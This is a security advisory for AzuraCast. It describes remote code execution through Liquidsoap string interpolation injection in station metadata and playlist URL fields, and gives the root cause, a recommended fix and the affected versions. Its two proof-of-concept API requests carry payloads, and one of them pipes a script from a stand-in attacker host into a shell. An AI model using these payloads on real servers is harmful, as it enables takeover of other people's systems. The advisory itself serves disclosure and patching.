GHSA-93fx-5qgc-wr38

Suggest an improvement
Source
https://github.com/advisories/GHSA-93fx-5qgc-wr38
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-93fx-5qgc-wr38/GHSA-93fx-5qgc-wr38.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-93fx-5qgc-wr38
Published
2026-03-09T19:55:00Z
Modified
2026-03-09T20:01:25.046021Z
Severity
  • 8.7 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N CVSS Calculator
Summary
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Details

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter: - #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

| Field | Permission Required | Config Line | |---|---|---| | playlist.remote_url | Media | input.http("...") or playlist("...") | | station.name | Profile | name = "..." | | station.description | Profile | description = "..." | | station.genre | Profile | genre = "..." | | station.url | Profile | url = "..." | | backend_config.live_broadcast_text | Profile | settings.azuracast.live_broadcast_text := "..." | | backend_config.dj_mount_point | Profile | input.harbor("...") |

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during: - Normal station restart by any user with Broadcasting permission - System updates and maintenance - azuracast:radio:restart CLI command - Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}
Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-09T19:55:00Z",
    "severity": "HIGH",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-94"
    ]
}
References

Affected packages

Packagist / azuracast/azuracast

Package

Name
azuracast/azuracast
Purl
pkg:composer/azuracast/azuracast

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.23.4

Affected versions

0.*
0.3.1
0.3.2
0.3.3
0.5.0
0.6.0
0.8.0
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.4.1
0.9.4.2
0.9.5
0.9.5.1
0.9.6
0.9.6.1
0.9.6.2
0.9.6.5
0.9.7
0.9.7.1
0.9.8
0.9.8.1
0.9.9
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.11
0.11.1
0.11.2
0.12
0.12.1
0.12.2
0.12.3
0.12.4
0.13.0
0.14.0
0.14.1
0.15.0
0.15.1
0.15.2
0.16.0
0.16.1
0.17.0
0.17.1
0.17.2
0.17.3
0.17.4
0.17.5
0.17.6
0.17.7
0.18.0
0.18.1
0.18.2
0.18.3
0.18.5
0.19.0
0.19.1
0.19.2
0.19.3
0.19.4
0.19.5
0.19.6
0.19.7
0.20.0
0.20.1
0.20.2
0.20.3
0.20.4
0.21.0
0.22.0
0.22.1
0.23.0
0.23.1
0.23.2
0.23.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-93fx-5qgc-wr38/GHSA-93fx-5qgc-wr38.json"
last_known_affected_version_range
"<= 0.23.3"